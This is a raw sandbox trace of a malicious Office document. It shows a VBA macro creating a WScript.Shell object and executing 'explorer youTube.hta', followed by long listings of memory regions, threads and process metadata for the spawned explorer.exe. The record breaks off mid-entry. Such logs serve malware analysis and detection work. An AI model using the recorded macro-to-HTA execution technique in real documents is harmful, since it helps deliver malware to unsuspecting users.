[0144.852] VirtualProtect (in: lpAddress=0x10310c1c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19738c | out: lpflOldProtect=0x19738c*=0x40) returned 1
[0144.854] GetCurrentProcess () returned 0xffffffff
[0144.854] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x10310c1d, dwSize=0x2) returned 1
[0144.854] SetErrorMode (uMode=0x8001) returned 0x8001
[0144.854] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
[0144.854] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x66830000
[0144.855] SetErrorMode (uMode=0x8001) returned 0x8001
[0144.855] GetProcAddress (hModule=0x66830000, lpProcName=0x2cc) returned 0x66a24f87
[0144.856] GetAsyncKeyState (vKey=3) returned 0
[0144.856] VarBstrCat (in: bstrLeft="explorer ", bstrRight="youTube.hta", pbstrResult=0x197bf4 | out: pbstrResult=0x197bf4) returned 0x0
[0144.856] CLSIDFromProgIDEx (in: lpszProgID="wscript.shell", lpclsid=0x197bbc | out: lpclsid=0x197bbc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
[0144.890] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
[0144.890] CoCreateInstance (in: rclsid=0x197bbc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x66a48088*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x197b8c | out: ppv=0x197b8c*=0x8d58774) returned 0x0
[0146.482] WshShell:IUnknown:QueryInterface (in: This=0x8d58774, riid=0x66a56898*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0x197b90 | out: ppvObject=0x197b90*=0x0) returned 0x80004002
[0146.483] WshShell:IUnknown:QueryInterface (in: This=0x8d58774, riid=0x66a568a8*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0x197b94 | out: ppvObject=0x197b94*=0x0) returned 0x80004002
[0146.483] WshShell:IUnknown:QueryInterface (in: This=0x8d58774, riid=0x66a480a8*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x197b98 | out: ppvObject=0x197b98*=0x8d58760) returned 0x0
[0146.483] WshShell:IUnknown:Release (This=0x8d58774) returned 0x1
[0146.483] WshShell:IDispatch:GetIDsOfNames (in: This=0x8d58760, riid=0x66a48098*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x197be0*="exec", cNames=0x1, lcid=0x409, rgDispId=0x197be4 | out: rgDispId=0x197be4*=3012) returned 0x0
[0146.499] WshShell:IDispatch:Invoke (in: This=0x8d58760, dispIdMember=3012, riid=0x66a48098*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x197bb4*(rgvarg=([0]=0x197c20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="explorer youTube.hta", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x197c30, pExcepInfo=0x197b94, puArgErr=0x197bc4 | out: pDispParams=0x197bb4*(rgvarg=([0]=0x197c20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="explorer youTube.hta", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x197c30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8cdfb18, varVal2=0x0), pExcepInfo=0x197b94*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x197bc4*=0x66a41630) returned 0x0
[0148.459] WshShell:IUnknown:Release (This=0x8d58760) returned 0x0
[0148.461] GetAsyncKeyState (vKey=3) returned 0
[0148.461] WshShell:IUnknown:Release (This=0x8cdfb18) returned 0x0
Thread:
id = 17
os_tid = 0x13f4
Thread:
id = 19
os_tid = 0x1174
Process:
id = "2"
image_name = "explorer.exe"
filename = "c:\\windows\\syswow64\\explorer.exe"
page_root = "0x30e7d000"
os_pid = "0x1170"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0xb2c"
cmd_line = "explorer youTube.hta"
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Documents\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 634
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 635
start_va = 0x30000
end_va = 0x31fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 636
start_va = 0x40000
end_va = 0x54fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 637
start_va = 0x60000
end_va = 0x9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 638
start_va = 0xa0000
end_va = 0xdffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000a0000"
filename = ""
Region:
id = 639
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 640
start_va = 0xd80000
end_va = 0x115bfff
monitored = 0
entry_point = 0xe24790
region_type = mapped_file
name = "explorer.exe"
filename = "\\Windows\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe")
Region:
id = 641
start_va = 0x1160000
end_va = 0x515ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001160000"
filename = ""
Region:
id = 642
start_va = 0x778f0000
end_va = 0x77a6afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 643
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 644
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 645
start_va = 0x7fff0000
end_va = 0x7dfb28afffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 646
start_va = 0x7dfb28b00000
end_va = 0x7ffb28afffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007dfb28b00000"
filename = ""
Region:
id = 647
start_va = 0x7ffb28b00000
end_va = 0x7ffb28cc0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 648
start_va = 0x7ffb28cc1000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffb28cc1000"
filename = ""
Region:
id = 649
start_va = 0xe0000
end_va = 0xe3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000e0000"
filename = ""
Region:
id = 650
start_va = 0xf0000
end_va = 0xf1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000f0000"
filename = ""
Region:
id = 651
start_va = 0x100000
end_va = 0x101fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000100000"
filename = ""
Region:
id = 666
start_va = 0x5c0000
end_va = 0x5cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000005c0000"
filename = ""
Region:
id = 667
start_va = 0x657b0000
end_va = 0x65829fff
monitored = 0
entry_point = 0x657c3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 668
start_va = 0x65840000
end_va = 0x6588ffff
monitored = 0
entry_point = 0x65858180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 701
start_va = 0x74650000
end_va = 0x7472ffff
monitored = 0
entry_point = 0x74663980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 705
start_va = 0x65830000
end_va = 0x65837fff
monitored = 0
entry_point = 0x658317c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 707
start_va = 0x5d0000
end_va = 0x82ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000005d0000"
filename = ""
Region:
id = 713
start_va = 0x74650000
end_va = 0x7472ffff
monitored = 0
entry_point = 0x74663980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 714
start_va = 0x75e80000
end_va = 0x75ffdfff
monitored = 0
entry_point = 0x75f31b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 715
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 716
start_va = 0x7feb0000
end_va = 0x7ffaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007feb0000"
filename = ""
Region:
id = 717
start_va = 0x110000
end_va = 0x1cdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 718
start_va = 0x75680000
end_va = 0x7573dfff
monitored = 0
entry_point = 0x756b5630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 719
start_va = 0x400000
end_va = 0x43ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 720
start_va = 0x440000
end_va = 0x47ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000440000"
filename = ""
Region:
id = 721
start_va = 0x20000
end_va = 0x23fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 722
start_va = 0x76150000
end_va = 0x761e1fff
monitored = 0
entry_point = 0x76188cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 724
start_va = 0x754b0000
end_va = 0x7566cfff
monitored = 0
entry_point = 0x75592a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 725
start_va = 0x74b50000
end_va = 0x74bfcfff
monitored = 0
entry_point = 0x74b64f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 726
start_va = 0x74620000
end_va = 0x7463dfff
monitored = 0
entry_point = 0x7462b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 727
start_va = 0x74610000
end_va = 0x74619fff
monitored = 0
entry_point = 0x74612a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 728
start_va = 0x74730000
end_va = 0x74787fff
monitored = 0
entry_point = 0x747725c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 729
start_va = 0x75740000
end_va = 0x75783fff
monitored = 0
entry_point = 0x75759d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 730
start_va = 0x77770000
end_va = 0x777b3fff
monitored = 0
entry_point = 0x77777410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 731
start_va = 0x74790000
end_va = 0x748d6fff
monitored = 0
entry_point = 0x747a1cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 732
start_va = 0x758f0000
end_va = 0x75a3efff
monitored = 0
entry_point = 0x759a6820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 733
start_va = 0x748e0000
end_va = 0x7496cfff
monitored = 0
entry_point = 0x74929b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 734
start_va = 0x75790000
end_va = 0x757d4fff
monitored = 0
entry_point = 0x757ade90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 735
start_va = 0x76370000
end_va = 0x7776efff
monitored = 0
entry_point = 0x7652b990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 736
start_va = 0x480000
end_va = 0x4bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000480000"
filename = ""
Region:
id = 737
start_va = 0x4c0000
end_va = 0x4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004c0000"
filename = ""
Region:
id = 738
start_va = 0x75300000
end_va = 0x75336fff
monitored = 0
entry_point = 0x75303b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 739
start_va = 0x74c60000
end_va = 0x75158fff
monitored = 0
entry_point = 0x74e67610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 740
start_va = 0x77820000
end_va = 0x7789afff
monitored = 0
entry_point = 0x7783e970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 741
start_va = 0x757e0000
end_va = 0x757ebfff
monitored = 0
entry_point = 0x757e3930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 742
start_va = 0x757f0000
end_va = 0x757fefff
monitored = 0
entry_point = 0x757f2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 743
start_va = 0x749d0000
end_va = 0x74b47fff
monitored = 0
entry_point = 0x74a28a90
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")
Region:
id = 744
start_va = 0x74640000
end_va = 0x7464dfff
monitored = 0
entry_point = 0x74645410
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")
Region:
id = 745
start_va = 0x725b0000
end_va = 0x726fafff
monitored = 0
entry_point = 0x72611660
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")
Region:
id = 746
start_va = 0x706d0000
end_va = 0x70744fff
monitored = 0
entry_point = 0x70709a60
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 747
start_va = 0x701d0000
end_va = 0x701ecfff
monitored = 0
entry_point = 0x701d3b10
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")
Region:
id = 748
start_va = 0x67310000
end_va = 0x673a2fff
monitored = 0
entry_point = 0x67330ec0
region_type = mapped_file
name = "twinapi.dll"
filename = "\\Windows\\SysWOW64\\twinapi.dll" (normalized: "c:\\windows\\syswow64\\twinapi.dll")
Region:
id = 749
start_va = 0x72760000
end_va = 0x72979fff
monitored = 0
entry_point = 0x727f5550
region_type = mapped_file
name = "d3d11.dll"
filename = "\\Windows\\SysWOW64\\d3d11.dll" (normalized: "c:\\windows\\syswow64\\d3d11.dll")
Region:
id = 750
start_va = 0x6d3b0000
end_va = 0x6d456fff
monitored = 0
entry_point = 0x6d3e6240
region_type = mapped_file
name = "dcomp.dll"
filename = "\\Windows\\SysWOW64\\dcomp.dll" (normalized: "c:\\windows\\syswow64\\dcomp.dll")
Region:
id = 751
start_va = 0x742e0000
end_va = 0x743acfff
monitored = 0
entry_point = 0x743329c0
region_type = mapped_file
name = "twinapi.appcore.dll"
filename = "\\Windows\\SysWOW64\\twinapi.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinapi.appcore.dll")
Region:
id = 752
start_va = 0x74120000
end_va = 0x741effff
monitored = 0
entry_point = 0x74185b20
region_type = mapped_file
name = "mrmcorer.dll"
filename = "\\Windows\\SysWOW64\\MrmCoreR.dll" (normalized: "c:\\windows\\syswow64\\mrmcorer.dll")
Region:
id = 753
start_va = 0x72520000
end_va = 0x725a2fff
monitored = 0
entry_point = 0x725437c0
region_type = mapped_file
name = "dxgi.dll"
filename = "\\Windows\\SysWOW64\\dxgi.dll" (normalized: "c:\\windows\\syswow64\\dxgi.dll")
Region:
id = 754
start_va = 0x742c0000
end_va = 0x742dafff
monitored = 0
entry_point = 0x742c9050
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")
Region:
id = 755
start_va = 0x706b0000
end_va = 0x706c8fff
monitored = 0
entry_point = 0x706b47e0
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll")
Region:
id = 757
start_va = 0x5d0000
end_va = 0x69ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000005d0000"
filename = ""
Region:
id = 758
start_va = 0x730000
end_va = 0x82ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000730000"
filename = ""
Region:
id = 759
start_va = 0x830000
end_va = 0x919fff
monitored = 0
entry_point = 0x86d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 760
start_va = 0x1d0000
end_va = 0x1f9fff
monitored = 0
entry_point = 0x1d5680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 761
start_va = 0x830000
end_va = 0x9b7fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000830000"
filename = ""
Region:
id = 762
start_va = 0x75e50000
end_va = 0x75e7afff
monitored = 0
entry_point = 0x75e55680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 763
start_va = 0x9c0000
end_va = 0xb40fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000009c0000"
filename = ""
Region:
id = 764
start_va = 0x5160000
end_va = 0x655ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000005160000"
filename = ""
Region:
id = 765
start_va = 0x30000
end_va = 0x31fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 766
start_va = 0x1d0000
end_va = 0x1d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001d0000"
filename = ""
Region:
id = 767
start_va = 0x1e0000
end_va = 0x1e0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001e0000"
filename = ""
Region:
id = 768
start_va = 0x1f0000
end_va = 0x1f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001f0000"
filename = ""
Region:
id = 769
start_va = 0x6560000
end_va = 0x695afff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000006560000"
filename = ""
Region:
id = 770
start_va = 0x500000
end_va = 0x57ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000500000"
filename = ""
Region:
id = 773
start_va = 0x500000
end_va = 0x503fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000500000"
filename = ""
Region:
id = 774
start_va = 0x570000
end_va = 0x57ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000570000"
filename = ""
Region:
id = 775
start_va = 0x510000
end_va = 0x510fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000510000"
filename = ""
Region:
id = 786
start_va = 0x75160000
end_va = 0x7524afff
monitored = 0
entry_point = 0x7519d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 787
start_va = 0x6960000
end_va = 0x6c96fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 788
start_va = 0x520000
end_va = 0x55ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000520000"
filename = ""
Region:
id = 789
start_va = 0x580000
end_va = 0x5bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000580000"
filename = ""
Region:
id = 790
start_va = 0x560000
end_va = 0x560fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000560000"
filename = ""
Region:
id = 791
start_va = 0x75860000
end_va = 0x758e3fff
monitored = 0
entry_point = 0x75886220
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 792
start_va = 0x5d0000
end_va = 0x5d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005d0000"
filename = ""
Region:
id = 793
start_va = 0x690000
end_va = 0x69ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000690000"
filename = ""
Region:
id = 794
start_va = 0x5e0000
end_va = 0x5e3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.1.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")
Region:
id = 795
start_va = 0x5f0000
end_va = 0x602fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db")
Region:
id = 796
start_va = 0x610000
end_va = 0x610fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000610000"
filename = ""
Region:
id = 798
start_va = 0x560000
end_va = 0x560fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000560000"
filename = ""
Region:
id = 799
start_va = 0x620000
end_va = 0x65ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000620000"
filename = ""
Region:
id = 800
start_va = 0x6a0000
end_va = 0x6dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000006a0000"
filename = ""
Region:
id = 805
start_va = 0x65370000
end_va = 0x657a9fff
monitored = 0
entry_point = 0x6541f860
region_type = mapped_file
name = "explorerframe.dll"
filename = "\\Windows\\SysWOW64\\ExplorerFrame.dll" (normalized: "c:\\windows\\syswow64\\explorerframe.dll")
Region:
id = 807
start_va = 0x65c30000
end_va = 0x65c78fff
monitored = 0
entry_point = 0x65c36450
region_type = mapped_file
name = "edputil.dll"
filename = "\\Windows\\SysWOW64\\edputil.dll" (normalized: "c:\\windows\\syswow64\\edputil.dll")
Region:
id = 818
start_va = 0x6e0000
end_va = 0x71ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000006e0000"
filename = ""
Region:
id = 819
start_va = 0xb50000
end_va = 0xb8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000b50000"
filename = ""
Region:
id = 835
start_va = 0x73f00000
end_va = 0x7411bfff
monitored = 0
entry_point = 0x740cbc40
region_type = mapped_file
name = "actxprxy.dll"
filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll")
Thread:
id = 18
os_tid = 0xc20
Thread:
id = 20
os_tid = 0x1354
Thread:
id = 21
os_tid = 0x1194
Thread:
id = 22
os_tid = 0x11c4
Thread:
id = 23
os_tid = 0x11c8
Thread:
id = 24
os_tid = 0x11e0
Process:
id = "3"
image_name = "explorer.exe"
filename = "c:\\windows\\explorer.exe"
page_root = "0x6e88a000"
os_pid = "0x11e4"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "rpc_server"
parent_id = "2"
os_parent_pid = "0x278"
cmd_line = "C:\\Windows\\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding"
cur_dir = "C:\\Windows\\system32\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 836
start_va = 0x10000
